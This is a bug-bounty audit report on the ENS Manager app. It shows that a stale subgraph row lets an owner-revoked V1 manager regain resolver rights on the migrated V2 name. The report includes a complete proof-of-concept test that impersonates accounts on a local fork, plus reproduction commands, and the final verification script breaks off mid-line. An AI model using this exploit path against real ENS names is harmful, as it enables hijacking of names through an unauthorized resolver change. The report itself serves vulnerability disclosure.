#91931 [W&A-Medium] Manager migration reauthorizes a revoked V1 manager, enabling resolver hijack
Submitted on Sep 5th 2026 at 17:03:19 UTC by @abyy for Audit Competition | ENS
- Report ID: #91931
- Report Type: Websites & Apps
- Report severity: Medium
- Target: https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/apps/manager
- Impacts:
- Hijacking or bricking an ENS name during a Manager flow (registration, v1 to v2 migration, or transfer), such as: - a registration or migration that assigns the name, its ownership, registry, or resolver to an attacker - redirecting the recipient of a name transfer - leaving a name permanently inaccessible after the flow
Description
Brief/Intro
The Manager app treats an externally indexed V1 name row as the authority source for V1-to-V2 migration, but it never re-reads the V1 registry manager or resolver from chain before submission. If the registrant revokes an old manager after that row was loaded, an already-open migration flow can still classify the revoked address as a manager to preserve. The exact HCA batch generated by Manager then migrates the same name with the stale resolver and grants the revoked address V2 ROLE_SET_RESOLVER.
The integration PoC uses the real production V1 subgraph row for testdeployment.eth, performs a real manager/resolver revocation on a pinned Sepolia fork, and executes the outer HCA call returned by Manager's production batch builder for that same name. An A/B control migrates the name from an identical post-revocation snapshot while changing only the stale V1 owner field to the current registrant; the underlying migrate call remains byte-identical, no manager-role grant is added, and the former manager remains unauthorized. Retaining the stale owner field adds the grant, after which the former manager changes the resolver to an attacker-selected address.
Vulnerability Details
Preconditions and actors
- The victim is the current BaseRegistrar registrant of an unwrapped
.ethname. - A separate attacker-controlled address was previously the V1 registry manager.
- The victim revokes that manager by reclaiming V1 management and optionally replaces or clears the V1 resolver.
- Manager has already loaded the pre-revocation row, or the V1 subgraph still returns it, and those values reach migration planning before they are replaced.
The attacker is not privileged when the vulnerable migration executes. The completed V1 revocation is the security boundary that Manager violates.
1. Manager sources authority-sensitive fields from the V1 subgraph
v1SubgraphClient.ts requests both the V1 registry owner and resolver from https://v1-graphql.ens.dev/subgraph:
domains(...) {
id
name
resolver { address }
owner { id }
registrant { id }
# ...
}
useV1Names.ts exposes that response through React Query. It has no polling interval and no link to V1 registry mutations performed outside the open migration screen. Consequently, the loaded V1Domain can outlive an on-chain manager or resolver change.
The hook declares staleTime: 5 * 60 * 1000, but the shared resultQueryOptions() helper destructures and does not return that option. This report therefore does not rely on a guaranteed five-minute React Query freshness period. The demonstrated prerequisite is narrower: the pre-revocation row remains in the already-open migration flow, or is returned while the external indexer is behind the confirmed chain state.
2. Classification converts the old row into restoration instructions
For an unwrapped name, classifyName() checks that the row's registrant is the connected wallet. It interprets any different registry owner as a manager that should be restored:
const registryOwnerAddress = toAddress(domain.owner.id)
const managerAddress: Address | null =
registryOwnerAddress &&
registryOwnerAddress.toLowerCase() !== registrant.id.toLowerCase()
? registryOwnerAddress
: null
The same function copies domain.resolver.address into v1ResolverAddress. An unknown/custom resolver selects the keep-v1 strategy, and resolverFor() returns that old address:
case 'keep-v1':
return (
isKnownPublicResolver(name.v1ResolverAddress)
? defaultResolver
: (name.v1ResolverAddress ??
(cannotSetResolverLocked ? zeroAddress : defaultResolver))
) as Address
3. Live preflight and submission checks do not refresh these fields
computeMigrationPreflight() performs live checks for HCA readiness, approvals, deployed code, resolver readiness and migration routes, but calls classifyNames([...domains], eoa) on the supplied subgraph objects. It never reads the current V1 registry owner or resolver.
The initial execution path rechecks the migration approval plan. Retry handling rechecks BaseRegistrar/NameWrapper token ownership. Neither path compares the manager or resolver used by the plan with the current V1 registry state. A confirmed reclaim() therefore does not invalidate the migration data.
4. The app-generated batch performs the unauthorized restoration
buildAtomicMigrationBatches() writes the classified resolver into Migration.Data:
const expectedResolver = resolverFor(classified, defaultResolver, resolver)
const migrationData = createMigrationData({
label: classified.label,
owner: wallet,
subregistry: zeroAddress,
resolver: expectedResolver,
})
If managerAddress is present, it adds a manager-role call to the same atomic HCA batch:
if (classified.managerAddress) {
innerExecutions.push({
phase: 'manager-role-grant',
name,
names: [name],
call: buildRoleGrantCall(classified),
})
}
buildRoleGrantCall() grants the stale address ROLE_SET_RESOLVER on the migrated V2 resource:
const ROLE_SET_RESOLVER = 1n << 24n
return {
to: V2_CONTRACTS.ETHRegistry,
data: encodeFunctionData({
abi: ETH_REGISTRY_V2_ABI,
functionName: 'grantRoles',
args: [resource, ROLE_SET_RESOLVER, name.managerAddress],
}),
value: 0n,
}
The wallet submits the resulting executeByOwner(...) outer call. The harmful grant is therefore created and executed by the in-scope Manager workflow; it is not an unrelated contract call invented by the attacker.
5. Post-state verification accepts the compromised state
The app derives its post-state expectations from the same classified row:
verificationExpectations.push({
type: 'name-resolver',
expectedResolver,
// ...
})
verificationExpectations.push({
type: 'manager-role',
account: classified.managerAddress,
roleBitmap: ROLE_SET_RESOLVER,
// ...
})
The verifier reports success when it observes the stale resolver and restored role. It cannot identify the authorization regression because the stale row also defined its expected result.
Why this is a Manager vulnerability rather than an excluded smart-contract issue
The ENS contracts, subgraph/indexer and NFT metadata service are out of scope. This report does not allege a defect in those components. The root cause is that the in-scope Manager app converts an unrefreshed external row into unintended migration parameters.
The PoC executes the exact outerCall returned by Manager's production buildAtomicMigrationBatches() function for the supplied route and readiness inputs. That call itself migrates testdeployment.eth, assigns the stale resolver and grants the revoked account ROLE_SET_RESOLVER. The control branch removes only the stale owner field, executes the resulting migration from the same snapshot, and produces no role grant; the former manager remains unable to call setResolver(). Restoring the stale field in the positive branch adds the grant and makes the call succeed.
The PoC does not execute computeMigrationPreflight() or the UI and migrationService orchestration. Route, readiness, profile and gas-estimation inputs are supplied directly. It therefore proves the integrated production hook, classifier, approval/HCA builders and atomic calldata builder through deployed state effects. The absence of an execution-time V1 manager/resolver refresh in preflight and submission is established separately by the source trace above.
Known-issue differentiation
The published list says reports with the same root cause are duplicates, but also says that unlisted issues remain in scope and that a security consequence exceeding known functional breakage is new. No listed issue has this root cause.
WEB-806andWEB-390concern missing migrated subname records or missing subnames in the migration list.WEB-1249concerns replacing an existing child registry while creating a subname.WEB-1304concerns stale NameWrapper expiry after renewal.QA-01/WEB-1257concern broken follow-up actions after transfers and role combinations.
None reads an obsolete V1 manager from the subgraph and grants that already-revoked address fresh V2 authority. This report demonstrates an authority-creating security consequence, not record visibility, missing migration entries, registry detachment, expiry display or a broken follow-up action.
Impact Details
The revoked account regains ROLE_SET_RESOLVER over the victim's migrated V2 name. It can replace the resolver and redirect the name's address and other resolution data.
The PoC establishes the following integrated state transition and A/B causality control for one real name on a pinned local fork:
testdeployment.ethstarts with the real V1 registrant, separate manager and custom resolver recorded by the production subgraph.- The registrant calls V1
reclaim()and clears the resolver. On-chain reads prove the old manager and resolver are gone. - Before either branch, the old manager's V2
setResolver()simulation reverts. - In the control branch, only the row's owner is changed to the current registrant. The production classifier returns no
managerAddress; the builder emits onlymigrate; the migration succeeds;hasRoles()remains false; andsetResolver()still reverts. - The fork reverts to the identical post-revocation snapshot. With the stale owner retained, the production classifier and builder emit the same byte-identical
migratecall followed bymanager-role-grant. - The victim executes that outer call through the real deployed HCA, MigrationHelper, controller and ETHRegistry contracts.
- The V2 name is owned by the victim, but its resolver is the old value and
hasRoles(resource, 1 << 24, oldManager)istrue. - The same old manager now changes the same name's resolver to
0x000000000000000000000000000000000000dEaD.
This maps directly to the program's Critical impact “Hijacking or bricking an ENS name during a Manager flow (registration, v1 to v2 migration, or transfer)”, whose examples include a migration assigning a name's resolver to an attacker. It also fits the Critical connected-wallet category for modifying transaction arguments or parameters.
The report does not assume every retained custom resolver is attacker-controlled. The demonstrated exploit is narrowly based on the former manager address: it has no authority after the V1 revocation and receives new V2 authority from the Manager-generated batch.
Recommended Fix
Immediately before building or submitting each migration batch, read the current V1 registry owner/manager and resolver for every selected name from chain. Abort and require a new review if either differs from the previewed value. Bind those live values into the plan identity and post-state expectations.
Also display every manager address that will receive V2 roles in the confirmation UI. This is defense in depth and does not replace the execution-time on-chain refresh.
Affected asset and tested version
- In-scope asset: Manager app Files
- Competition repository:
https://github.com/immunefi-team/audit-comp-ens - Tested snapshot:
cda79acaad59711b943fc68207ebb3f1d0ff8596 - Snapshot's mapped upstream revision:
63772fd872af472ced58b009499355f3430c2a86 - Fork: Sepolia block
11,641,166, hash0xcae9ca32aed665733821647ab701c45069d4fc854b8251f84a2f70a5094c7e41 - Deployed ETHRegistry:
0xBDC85dD5b15D7ecb354cd7cb6f2c50b4f2c4F0E2
The PoC ran successfully multiple times after anvil_reset, without arbitrary storage writes. It impersonates only the real registrant and former manager needed to sign their respective test transactions. No production transaction is sent.
For deployment integrity, a fresh Solc 0.8.27 standard-JSON compile of the exact 32-source compiler input pinned by the official PR-#388 build-info equals the official ETHRegistry artifact byte-for-byte. All 32 metadata source hashes match that input; all 18 project source files match contracts-v2 source commit 48b3e2d39513b9dd32ef1850877a29009bc807b9. After masking only the artifact's two declared 32-byte immutable locations (offsets 1479 and 6921), the artifact and on-chain runtime are both 14,730 bytes and have the same Keccak-256 hash:
0x7d8766107f929e969c2ffd2ad6707428e01854b88d05fd7fc024ee4925f4a08c
This statement is limited to the ETHRegistry runtime. The PoC independently executes the other deployed components on the fork and relies on their observed behavior, not a source-equivalence assumption.
References
- ENS competition scope, impacts, exclusions and known issues
useV1Names.tsv1SubgraphClient.tsclassifyNames.tscomputeMigrationPreflight.tsbuildAtomicMigrationBatches.tsbuildRoleGrantCalls.tsverifyAtomicMigrationBatch.ts- Official Sepolia migration deployment PR #388
- Pinned ETHRegistry artifact
- Pinned compiler build-info
Proof of Concept
Proof of Concept: integrated stale-authority migration path
What this proves
This integration PoC exercises the authority-sensitive migration path for the same real name, testdeployment.eth:
- It reads the real pre-revocation name row through Manager's production
useV1Names()hook and production V1 subgraph client. - The real BaseRegistrar registrant calls
reclaim()and clears the resolver on a pinned Sepolia fork. Direct reads prove that the former manager and resolver are gone. - A baseline check proves that the former manager cannot change the corresponding V2 resource before migration.
- Manager's production classifier, approval builders, HCA deployment builder and atomic migration builder consume the still-loaded row.
- An A/B control starts from a snapshot of the same post-revocation state and changes only the row's stale owner field to the current registrant. The control batch still migrates the name, but contains no manager grant; the former manager remains unauthorized.
- After reverting to that snapshot, the positive branch retains the stale owner field and executes the resulting
outerCallthrough the real deployed HCA, MigrationHelper, migration controller and ETHRegistry. - The same V2 name now has the stale resolver and the former manager has
ROLE_SET_RESOLVER. - The former manager changes that same name's resolver to an attacker-selected address.
The test does not execute computeMigrationPreflight() or the UI and migrationService orchestration. It supplies route, readiness, profile and gas-estimation inputs directly. Its evidence boundary is therefore the integrated production hook-to-classifier-to-calldata-builder path and the resulting deployed state transition, not UI-level workflow coverage.
The test does not use anvil_setStorageAt, a mock registry, a hand-written role grant, a protocol administrator, or a second pre-existing V2 name. The only mocked modules supply the connected wallet identity to the React hook.
All state changes occur on a local Anvil fork. No transaction is sent to Sepolia.
Prerequisites
- Node.js 24
- pnpm 10
- Foundry (
anvilandcast) git- Internet access to the public Sepolia RPC and the production V1 subgraph
Reproduction
1. Check out the exact competition snapshot
git clone https://github.com/immunefi-team/audit-comp-ens.git
cd audit-comp-ens
git checkout cda79acaad59711b943fc68207ebb3f1d0ff8596
pnpm install --frozen-lockfile
2. Add the test
Create apps/manager/src/features/migration/service/staleMigrationAuthority.poc.test.ts with this complete content:
import {
buildHcaDeploymentCall,
computeStandaloneHcaAddress,
getDestinationContracts,
} from '@ens-apps/smart-account'
import { labelToCanonicalId } from '@ensdomains/ensjs/utils/v2'
import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
import { renderHook, waitFor } from '@testing-library/react'
import { createElement, type ReactNode } from 'react'
import {
createPublicClient,
createWalletClient,
encodeFunctionData,
http,
namehash,
parseAbi,
zeroAddress,
} from 'viem'
import { sepolia } from 'viem/chains'
import { afterEach, describe, expect, it, vi } from 'vitest'
const VICTIM = '0x9f701e556c4D01e6cB2A27e0Dc48F6a21F8Ff050' as const
const REVOKED_MANAGER = '0xAcEA33E39d0D73EC6AFA36117B66Ea521540D05B' as const
const STALE_RESOLVER = '0x60ED8300Dd09BbAab49B42FE9CE1cCf0BF532AB6' as const
const ATTACKER_RESOLVER = '0x000000000000000000000000000000000000dEaD' as const
const NAME = 'testdeployment.eth'
const LABEL = 'testdeployment'
const LABELHASH =
0x2ae88e920f660f3fc490c71c8e544c9c04fedf02103b3740e84be11a2616cc06n
const FORK_BLOCK = 11_641_166
const FORK_SOURCE =
process.env.POC_FORK_URL ?? 'https://ethereum-sepolia-rpc.publicnode.com'
const RPC_URL = process.env.POC_RPC_URL ?? 'http://127.0.0.1:8547'
const ROLE_SET_RESOLVER = 1n << 24n
const smartAccountMock = vi.hoisted(() => ({
useSmartAccountContext: vi.fn(() => ({ ownerAddress: VICTIM })),
}))
const wagmiMock = vi.hoisted(() => ({
useConnection: vi.fn(() => ({ address: VICTIM })),
}))
// These two hooks supply only the connected identity. The vulnerable V1
// subgraph client, React Query cache, classifiers, calldata builders and all
// on-chain contracts remain real.
vi.mock('@/lib/smart-account', () => smartAccountMock)
vi.mock('wagmi', async (importOriginal) => ({
...(await importOriginal<typeof import('wagmi')>()),
useConnection: wagmiMock.useConnection,
}))
import { useV1Names } from '@/features/migration/hooks/useV1Names'
import { V1_CONTRACTS, V2_CONTRACTS } from '../contracts/addresses'
import { buildAtomicMigrationBatches } from './buildAtomicMigrationBatches'
import { classifyName } from './classifyNames'
import {
buildMigrationApprovalCall,
migrationApprovalForId,
} from './migrationApprovals'
const baseRegistrarAbi = parseAbi([
'function ownerOf(uint256 tokenId) view returns (address)',
'function reclaim(uint256 id, address owner)',
])
const v1RegistryAbi = parseAbi([
'function owner(bytes32 node) view returns (address)',
'function resolver(bytes32 node) view returns (address)',
'function setResolver(bytes32 node, address resolver)',
])
const standaloneHcaFactoryAbi = parseAbi([
'function deploy(address owner, address hcaImplementation, uint256 userSalt) returns (address hca)',
])
const v2StateAbi = parseAbi([
'function getOwner(uint256 anyId) view returns (address)',
'function getResolver(string label) view returns (address)',
'function getStatus(uint256 anyId) view returns (uint8)',
'function hasRoles(uint256 anyId, uint256 roleBitmap, address account) view returns (bool)',
'function setResolver(uint256 anyId, address resolver)',
])
type RpcResponse<T> = {
readonly result?: T
readonly error?: { readonly message: string }
}
const rpc = async <T>(method: string, params: readonly unknown[] = []) => {
const response = await fetch(RPC_URL, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ jsonrpc: '2.0', id: 1, method, params }),
})
const body = (await response.json()) as RpcResponse<T>
if (body.error) throw new Error(`${method}: ${body.error.message}`)
return body.result as T
}
const waitForSuccess = async (
publicClient: ReturnType<typeof createPublicClient>,
hash: `0x${string}`,
) => {
const receipt = await publicClient.waitForTransactionReceipt({ hash })
expect(receipt.status).toBe('success')
return receipt
}
const sendCall = async (params: {
readonly walletClient: ReturnType<typeof createWalletClient>
readonly publicClient: ReturnType<typeof createPublicClient>
readonly call: {
readonly to: `0x${string}`
readonly data: `0x${string}`
readonly value: bigint
}
}) => {
const account = params.walletClient.account
if (!account) throw new Error('wallet client has no account')
const hash = await params.walletClient.sendTransaction({
account,
to: params.call.to,
data: params.call.data,
value: params.call.value,
})
await waitForSuccess(params.publicClient, hash)
return hash
}
const makeQueryWrapper = (queryClient: QueryClient) =>
function Wrapper({ children }: { readonly children: ReactNode }) {
return createElement(QueryClientProvider, { client: queryClient }, children)
}
describe('PoC: stale V1 authority through production data and calldata components', () => {
afterEach(() => {
vi.restoreAllMocks()
})
it('loads real V1 state, observes revocation, and isolates the stale manager value in the built batch', async () => {
await rpc('anvil_reset', [
{
forking: {
jsonRpcUrl: FORK_SOURCE,
blockNumber: FORK_BLOCK,
},
},
])
await rpc('anvil_impersonateAccount', [VICTIM])
await rpc('anvil_impersonateAccount', [REVOKED_MANAGER])
await rpc('anvil_setBalance', [VICTIM, '0x3635c9adc5dea00000'])
await rpc('anvil_setBalance', [REVOKED_MANAGER, '0x3635c9adc5dea00000'])
const publicClient = createPublicClient({
chain: sepolia,
transport: http(RPC_URL),
})
const victimWallet = createWalletClient({
account: VICTIM,
chain: sepolia,
transport: http(RPC_URL),
})
const revokedManagerWallet = createWalletClient({
account: REVOKED_MANAGER,
chain: sepolia,
transport: http(RPC_URL),
})
const node = namehash(NAME)
const resource = labelToCanonicalId(LABEL)
// The fork and the live production subgraph begin with the same real
// name, registrant, manager and resolver. No storage is edited.
expect(
await publicClient.readContract({
address: V1_CONTRACTS.BaseRegistrar,
abi: baseRegistrarAbi,
functionName: 'ownerOf',
args: [LABELHASH],
}),
).toBe(VICTIM)
expect(
await publicClient.readContract({
address: '0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e',
abi: v1RegistryAbi,
functionName: 'owner',
args: [node],
}),
).toBe(REVOKED_MANAGER)
expect(
await publicClient.readContract({
address: '0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e',
abi: v1RegistryAbi,
functionName: 'resolver',
args: [node],
}),
).toBe(STALE_RESOLVER)
expect(
await publicClient.readContract({
address: V2_CONTRACTS.ETHRegistry,
abi: v2StateAbi,
functionName: 'getStatus',
args: [resource],
}),
).toBe(1)
const fetchSpy = vi.spyOn(globalThis, 'fetch')
const queryClient = new QueryClient({
defaultOptions: { queries: { retry: false } },
})
const wrapper = makeQueryWrapper(queryClient)
const firstHook = renderHook(() => useV1Names(), { wrapper })
await waitFor(
() => {
if (firstHook.result.current.error) {
throw firstHook.result.current.error
}
expect(firstHook.result.current.data).toBeDefined()
},
{ timeout: 20_000 },
)
const cachedDomain = firstHook.result.current.data?.find(
(domain) => domain.name === NAME,
)
expect(cachedDomain).toMatchObject({
name: NAME,
owner: { id: REVOKED_MANAGER.toLowerCase() },
registrant: { id: VICTIM.toLowerCase() },
resolver: { address: STALE_RESOLVER.toLowerCase() },
})
if (!cachedDomain) throw new Error(`${NAME} missing from V1 subgraph`)
const initialSubgraphRequests = fetchSpy.mock.calls.filter(([input]) =>
String(input).includes('v1-graphql.ens.dev/subgraph'),
).length
expect(initialSubgraphRequests).toBeGreaterThan(0)
// A normal registrant action now revokes the V1 manager and resolver.
const reclaimHash = await victimWallet.writeContract({
address: V1_CONTRACTS.BaseRegistrar,
abi: baseRegistrarAbi,
functionName: 'reclaim',
args: [LABELHASH, VICTIM],
})
await waitForSuccess(publicClient, reclaimHash)
const clearResolverHash = await victimWallet.writeContract({
address: '0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e',
abi: v1RegistryAbi,
functionName: 'setResolver',
args: [node, zeroAddress],
})
await waitForSuccess(publicClient, clearResolverHash)
expect(
await publicClient.readContract({
address: '0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e',
abi: v1RegistryAbi,
functionName: 'owner',
args: [node],
}),
).toBe(VICTIM)
expect(
await publicClient.readContract({
address: '0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e',
abi: v1RegistryAbi,
functionName: 'resolver',
args: [node],
}),
).toBe(zeroAddress)
// The open production hook has no polling interval and no mutation link
// to this V1 state change. It therefore retains the pre-revocation row
// and performs no second subgraph request while migration continues.
const staleDomain = firstHook.result.current.data?.find(
(domain) => domain.name === NAME,
)
expect(staleDomain).toEqual(cachedDomain)
expect(
fetchSpy.mock.calls.filter(([input]) =>
String(input).includes('v1-graphql.ens.dev/subgraph'),
).length,
).toBe(initialSubgraphRequests)
if (!staleDomain) throw new Error('cached domain disappeared')
const classified = classifyName(staleDomain, VICTIM)
expect(classified?.type).toBe('classified')
if (classified?.type !== 'classified') {
throw new Error('cached name was not classified')
}
expect(classified.name.managerAddress).toBe(REVOKED_MANAGER.toLowerCase())
expect(classified.name.v1ResolverAddress).toBe(STALE_RESOLVER.toLowerCase())
// Deploy the exact standalone HCA used by the app. buildHcaDeploymentCall
// validates the deterministic address and complete factory calldata.
const contracts = getDestinationContracts(sepolia.id)
const hca = computeStandaloneHcaAddress({
chainId: sepolia.id,
owner: VICTIM,
})
const factoryData = encodeFunctionData({
abi: standaloneHcaFactoryAbi,
functionName: 'deploy',
args: [VICTIM, contracts.standaloneHcaImplementation, 0n],
})
const deploymentCall = buildHcaDeploymentCall({
client: {
getAddress: () => hca,
getInitData: () => ({
factory: contracts.standaloneHcaFactory,
factoryData,
}),
} as Parameters<typeof buildHcaDeploymentCall>[0]['client'],
chainId: sepolia.id,
expectedHca: hca,
expectedOwner: VICTIM,
})
await sendCall({
walletClient: victimWallet,
publicClient,
call: deploymentCall,
})
expect(await publicClient.getCode({ address: hca })).not.toBe('0x')
// Submit the same prerequisite approvals planned by migrationService:
// MigrationHelper may move this ERC-721, and HCA may restore manager roles.
const helperApproval = buildMigrationApprovalCall(
migrationApprovalForId({
id: 'base-registrar:hca-token',
hcaAddress: hca,
tokenId: LABELHASH,
}),
)
const registryApproval = buildMigrationApprovalCall(
migrationApprovalForId({ id: 'eth-registry:hca', hcaAddress: hca }),
)
await sendCall({
walletClient: victimWallet,
publicClient,
call: helperApproval,
})
await sendCall({
walletClient: victimWallet,
publicClient,
call: registryApproval,
})
// Baseline capability check: before either migration branch, the revoked
// manager cannot alter this V2 resource.
await expect(
publicClient.simulateContract({
account: REVOKED_MANAGER,
address: V2_CONTRACTS.ETHRegistry,
abi: v2StateAbi,
functionName: 'setResolver',
args: [resource, ATTACKER_RESOLVER],
}),
).rejects.toThrow()
// The PoC targets the classification-to-calldata boundary. It supplies
// route/readiness/estimate inputs directly instead of claiming to execute
// the complete preflight or UI orchestration.
const buildPlanFor = (name: typeof classified.name) =>
buildAtomicMigrationBatches({
chainId: sepolia.id,
hca,
wallet: VICTIM,
classified: [name],
directRoutes: new Map([
[
NAME,
{
name: NAME,
receiver: V2_CONTRACTS.UnlockedMigrationController,
parentDependency: null,
expectedWrapperRegistry: null,
receiverReadiness: 'migration-controller' as const,
},
],
]),
profiles: new Map(),
defaultResolver: V2_CONTRACTS.DefaultResolver,
resolverDeployed: true,
walletCoAdminGranted: true,
maxOuterGas: 20_000_000n,
estimateOuterGas: () => 1_000_000n,
})
// Causal A/B control: snapshot the same post-revocation state and alter
// only the stale V1 owner field. The resolver and every explicit builder
// input remain identical. The control still migrates the name, but it must
// not contain a manager-role grant or authorize the revoked manager.
const postRevocationSnapshot = await rpc<`0x${string}`>('evm_snapshot')
const managerRefreshedDomain = {
...staleDomain,
owner: { id: VICTIM.toLowerCase() },
}
const managerRefreshed = classifyName(managerRefreshedDomain, VICTIM)
expect(managerRefreshed?.type).toBe('classified')
if (managerRefreshed?.type !== 'classified') {
throw new Error('manager-refreshed name was not classified')
}
expect(managerRefreshed.name.managerAddress).toBeNull()
expect(managerRefreshed.name.v1ResolverAddress).toBe(
STALE_RESOLVER.toLowerCase(),
)
const controlPlan = await buildPlanFor(managerRefreshed.name)
const controlBatch = controlPlan.batches[0]
expect(controlBatch?.innerExecutions.map(({ phase }) => phase)).toEqual([
'migrate',
])
if (!controlBatch) throw new Error('control migration batch was not built')
await sendCall({
walletClient: victimWallet,
publicClient,
call: controlBatch.outerCall,
})
expect(
await publicClient.readContract({
address: V2_CONTRACTS.ETHRegistry,
abi: v2StateAbi,
functionName: 'getOwner',
args: [resource],
}),
).toBe(VICTIM)
expect(
await publicClient.readContract({
address: V2_CONTRACTS.ETHRegistry,
abi: v2StateAbi,
functionName: 'hasRoles',
args: [resource, ROLE_SET_RESOLVER, REVOKED_MANAGER],
}),
).toBe(false)
await expect(
publicClient.simulateContract({
account: REVOKED_MANAGER,
address: V2_CONTRACTS.ETHRegistry,
abi: v2StateAbi,
functionName: 'setResolver',
args: [resource, ATTACKER_RESOLVER],
}),
).rejects.toThrow()
expect(await rpc<boolean>('evm_revert', [postRevocationSnapshot])).toBe(
true,
)
// Positive branch from the identical post-revocation snapshot: retaining
// only the stale owner field adds manager-role-grant and reauthorizes the
// former manager.
const plan = await buildPlanFor(classified.name)
const batch = plan.batches[0]
expect(batch?.names).toEqual([NAME])
expect(batch?.innerExecutions.map(({ phase }) => phase)).toEqual([
'migrate',
'manager-role-grant',
])
if (!batch) throw new Error('app did not build a migration batch')
expect(batch.innerExecutions[0]?.call).toEqual(
controlBatch.innerExecutions[0]?.call,
)
// This is the unchanged outerCall returned by the app builder—not a
// hand-written migration or a grant performed by a privileged account.
const migrationHash = await sendCall({
walletClient: victimWallet,
publicClient,
call: batch.outerCall,
})
expect(
await publicClient.readContract({
address: V2_CONTRACTS.ETHRegistry,
abi: v2StateAbi,
functionName: 'getOwner',
args: [resource],
}),
).toBe(VICTIM)
expect(
await publicClient.readContract({
address: V2_CONTRACTS.ETHRegistry,
abi: v2StateAbi,
functionName: 'getResolver',
args: [LABEL],
}),
).toBe(STALE_RESOLVER)
expect(
await publicClient.readContract({
address: V2_CONTRACTS.ETHRegistry,
abi: v2StateAbi,
functionName: 'hasRoles',
args: [resource, ROLE_SET_RESOLVER, REVOKED_MANAGER],
}),
).toBe(true)
// The same account that was unable to act before migration now changes
// the same migrated name's resolver, solely because the app restored it.
const exploitHash = await revokedManagerWallet.writeContract({
address: V2_CONTRACTS.ETHRegistry,
abi: v2StateAbi,
functionName: 'setResolver',
args: [resource, ATTACKER_RESOLVER],
})
await waitForSuccess(publicClient, exploitHash)
expect(
await publicClient.readContract({
address: V2_CONTRACTS.ETHRegistry,
abi: v2StateAbi,
functionName: 'getResolver',
args: [LABEL],
}),
).toBe(ATTACKER_RESOLVER)
console.info(
JSON.stringify(
{
name: NAME,
forkBlock: FORK_BLOCK,
victim: VICTIM,
revokedManager: REVOKED_MANAGER,
staleResolver: STALE_RESOLVER,
hca,
migrationHash,
exploitHash,
restoredRole: 'ROLE_SET_RESOLVER',
finalResolver: ATTACKER_RESOLVER,
},
null,
2,
),
)
}, 120_000)
})
3. Start the pinned local fork
In terminal A, from any directory:
export POC_FORK_URL=https://ethereum-sepolia-rpc.publicnode.com
anvil --fork-url "$POC_FORK_URL" --fork-block-number 11641166 --host 127.0.0.1 --port 8547 --silent
Pinned source block hash:
0xcae9ca32aed665733821647ab701c45069d4fc854b8251f84a2f70a5094c7e41
4. Run the integration PoC
In terminal B:
cd audit-comp-ens
POC_FORK_URL="$POC_FORK_URL" \
POC_RPC_URL=http://127.0.0.1:8547 \
pnpm --filter manager exec vitest run \
src/features/migration/service/staleMigrationAuthority.poc.test.ts \
--reporter=verbose
Expected result:
Test Files 1 passed (1)
Tests 1 passed (1)
{
"name": "testdeployment.eth",
"forkBlock": 11641166,
"victim": "0x9f701e556c4D01e6cB2A27e0Dc48F6a21F8Ff050",
"revokedManager": "0xAcEA33E39d0D73EC6AFA36117B66Ea521540D05B",
"staleResolver": "0x60ED8300Dd09BbAab49B42FE9CE1cCf0BF532AB6",
"hca": "0x872fb768cC956F80677f9bE4D8928A24C5DEa0f5",
"restoredRole": "ROLE_SET_RESOLVER",
"finalResolver": "0x000000000000000000000000000000000000dEaD"
}
migrationHash and exploitHash are deterministic local-fork transaction hashes when the same Anvil version and starting state are used. They do not exist on Sepolia.
The test calls anvil_reset itself, so rerunning the same command starts from the pinned clean state. Multiple clean runs produced the same passing assertions.
Deployment/source integrity check
The vulnerable root is in Manager. The forked contracts are the impact sink. The following independent check nevertheless connects the deployed ETHRegistry behavior to exact source and compiler inputs:
- Clone the official contracts repository next to the app repository:
cd ..
git clone https://github.com/ensdomains/contracts-v2.git
- From
audit-comp-ens/apps/manager, save the script below asverify-ethregistry.mjs. Run it with the contracts repository path:
node verify-ethregistry.mjs ../../../contracts-v2
import { execFileSync, spawnSync } from 'node:child_process'
import {
closeSync,
mkdtempSync,
openSync,
readFileSync,
writeFileSync,
} from 'node:fs'
import { tmpdir } from 'node:os'
import { join, resolve } from 'node:path'
import { keccak256, stringToHex } from 'viem'
const repo = resolve(process.argv[2])
const artifactCommit = 'f21e4b4a38c949a6fc5c7d3bdd1b418292c880f1'
const sourceCommit = '48b3e2d39513b9dd32ef1850877a29009bc807b9'
const artifactPath = 'contracts/deployments/sepolia/ETHRegistry.json'
const gitShow = (revision, path) =>
execFileSync('git', ['-C', repo, 'show', revision + ':' + path], {
encoding: 'utf8',
maxBuffer: 64 * 1024 * 1024,
})
const artifact = JSON.parse(gitShow(artifactCommit, artifactPath))
const buildPath =
'contracts/deployments/sepolia/build-info/' + artifact.buildInfoId + '.json'
const build = JSON.parse(gitShow(artifactCommit, buildPath))
const metadata = JSON.parse(artifact.metadata)
const sourceHashesMatch = Object.entries(metadata.sources).every(
([path, entry]) =>
keccak256(stringToHex(build.input.sources[path].content)) ===
entry.keccak256,
)
const projectPaths = Object.keys(metadata.sources).filter((path) =>
path.startsWith('project/src/'),
)
const projectSourcesMatch = projectPaths.every((path) => {
const repositoryPath = 'contracts/' + path.slice('project/'.length)
return (
gitShow(sourceCommit, repositoryPath) === build.input.sources[path].content
)
})
const retainedPaths = new Set(Object.keys(metadata.sources))
const compilerInput = structuredClone(build.input)
compilerInput.sources = Object.fromEntries(
Object.entries(compilerInput.sources).filter(([path]) =>
retainedPaths.has(path),
),
)
compilerInput.settings.outputSelection = {
[artifact.inputSourceName]: {
[artifact.contractName]: ['evm.deployedBytecode'],
},
}
const temporaryDirectory = mkdtempSync(join(tmpdir(), 'ens-source-match-'))
const inputPath = join(temporaryDirectory, 'input.json')
const outputPath = join(temporaryDirectory, 'output.json')
writeFileSync(inputPath, JSON.stringify(compilerInput))
const inputFd = openSync(inputPath, 'r')
const outputFd = openSync(outputPath, 'w')
const compilation = spawnSync(
'npx',
['--yes', 'solc@0.8.27', '--standard-json'],
{ stdio: [inputFd, outputFd, 'pipe'] },
)
closeSync(inputFd)
closeSync(outputFd)
if (compilation.status !== 0) {
throw new Error(compilation.stderr.toString())
}
const compilerOutput = JSON.parse(
readFileSync(outputPath, 'utf8')
.split('\n')
.filter((line) => !line.startsWith('>>>'))
.join('\n'),
)
const compiled =
'0x' +
compilerOutput.contracts[artifact.inputSourceName][artifact.contractName].evm
.deployedBytecode.object
const freshCompileMatchesArtifact =
